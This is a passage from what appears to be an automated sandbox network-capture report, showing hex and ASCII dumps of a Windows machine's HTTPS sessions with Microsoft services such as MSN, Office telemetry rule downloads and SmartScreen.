xmpG:red="102" xmpG:green="45" xmpG:blue="145"/><rdf:li xmpG:swatchName="C=50 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="146" xmpG
2024-10-30 17:06:43 UTC	2020	IN	Data Raw: 9c b2 16 6f 83 6b fa fe fd a0 7e 03 f8 67 f6 9c f8 37 e2 0f 01 f8 c2 c1 75 2f 0f 78 96 d1 ad 2e a2 3c 32 e7 95 91 0f f0 c8 8c 15 d1 ba ab 28 3d ab f9 5f fd b9 7f 64 0f 10 fe c2 bf b4 cf 89 3e 1c f8 8b 74 d2 69 33 79 96 17 c1 36 47 aa 59 3e 4c 17 28 3d 19 7a 80 4e d7 57 5c 92 a6 be 8b 2f c5 fb 48 f2 4f 75 f8 9e 66 22 8f 23 ba d9 9e 43 5d 57 c1 4f 8c 9e 20 fd 9f 3e 2d f8 77 c6 fe 15 be 6d 3f c4 1e 18 be 8f 50 b1 9c 74 0e 87 3b 58 7f 12 30 ca b2 9e 19 59 81 e0 9a e5 68 af 4b 46 ac ce 6f 33 fa dc fd 8b 3f 6a 7d 0f f6 d4 fd 99 bc 27 f1 23 40 65 8e d7 c4 56 81 ee 2d 77 ee 6d 3e e9 3e 49 ed db de 39 15 97 38 1b 80 0c 38 61 5e b1 9a fc 29 ff 00 83 5d bf 6d 76 f0 0f c6 bf 10 7c 11 d5 ef 36 e9 3e 36 8d f5 8d 09 5d b8 8b 51 82 3f df 46 a3 fe 9a db a6 e3 ef 6a a0 7d Data Ascii: ok~g7u/x.<2(=_d>ti3y6GY>L(=zNW\/HOuf"#C]WO >-wm?Pt;X0YhKFo3?j}'#@eV-wm>>I988a^)]mv\|6>6]Q?Fj}
2024-10-30 17:06:43 UTC	8144	IN	Data Raw: c3 48 d7 a5 cd be af 1b 7d 06 95 76 df cd 45 7c 4b 5f 73 7f c1 b9 da 33 6a 9f f0 55 ff 00 02 ce ab b8 69 ba 7e ad 70 4e 3e e8 3a 7c f1 7f ed 41 f9 d7 66 2b f8 12 f4 66 54 7e 35 ea 7f 49 d4 51 45 7c 89 ec 05 14 51 40 05 14 51 40 05 14 51 40 08 7e f0 aa da cf fc 82 ee 7f eb 8b ff 00 23 56 4f de 15 5b 59 ff 00 90 5d cf fd 71 7f e4 6a 65 b1 a5 1f 8d 7a 9f 8f 34 51 45 7e 07 3f 89 9f de 94 7e 05 e8 82 8a 28 a9 34 0a 28 a2 80 3f 4a 3f e0 9f 43 fe 31 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 78 bf fc 13 eb fe 4d 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 7e e1 95 ff 00 b9 d2 ff 00 0c 7f 24 7f 10 71 47 fc 8e 31 5f f5 f2 7f fa 53 0a 28 a2 bd 03 c2 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 3f 2f ff 00 e0 ea 8f 01 36 bb fb 0f f8 27 c4 11 ab 33 68 1e 31 8a 19 30 3e e4 57 16 Data Ascii: H}vE\|K_s3jUi~pN>:\|Af+fT~5IQE\|Q@Q@Q@~#VO[Y]qjez4QE~?~(4(?J?C1/]\xM/]\~$qG1_S((((?/6'3h10>W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49847	20.75.60.91	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:43 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3A3C51D39FB2654125F844FB9EBA64FA&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=b053ffe6d4e24783a26a1441040d92f3 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1
2024-10-30 17:06:43 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2994 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425865139-T700442340-C128000000002480509+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002480509+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 30 Oct 2024 17:06:43 GMT Connection: close
2024-10-30 17:06:43 UTC	2994	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4e 65 75 73 63 68 77 61 6e 73 74 65 69 6e 20 43 61 73 74 6c 65 2c 20 47 65 72 6d 61 6e 79 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Neuschwanstein Castle, Germany\",\"cta\":\"https:\/\/www.bing.com\/search?q=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49857	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:43 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:43 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: ab84cae0-f01e-005d-23d7-2513ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170643Z-r1755647c66ss75qkr31zpy1kc00000007wg000000009g35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:44 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49856	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:43 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:43 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 7a23be84-101e-0079-6389-285913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170643Z-17fbfdc98bb9cv5m0pampz446s00000007sg000000003u1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:44 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49859	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:44 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:44 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ca6c0e2f-901e-008f-5413-2667a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170644Z-17fbfdc98bb9xxzfyggrfrbqmw00000007kg0000000061ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:44 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49858	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:44 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:44 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 18df47ae-c01e-00a1-2249-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170644Z-17fbfdc98bbh7l5skzh3rekksc00000009ng00000000831g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:44 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49860	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:44 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:44 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a363c0e5-301e-003f-5298-25266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170644Z-17fbfdc98bbtf4jxpev5grnmyw00000008cg000000008k73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:44 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49861	4.152.133.8	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:44 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiZXVyQUFqUHJrN0dCbUdGb0hLVzh3dz09IiwgImhhc2giOiJhaFZqTGZhNmRzST0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-30 17:06:44 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-30 17:06:44 UTC	302	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:44 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-10-30 17:06:44 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-10-30 17:06:44 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-10-30 17:06:44 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-10-30 17:06:44 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-10-30 17:06:44 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
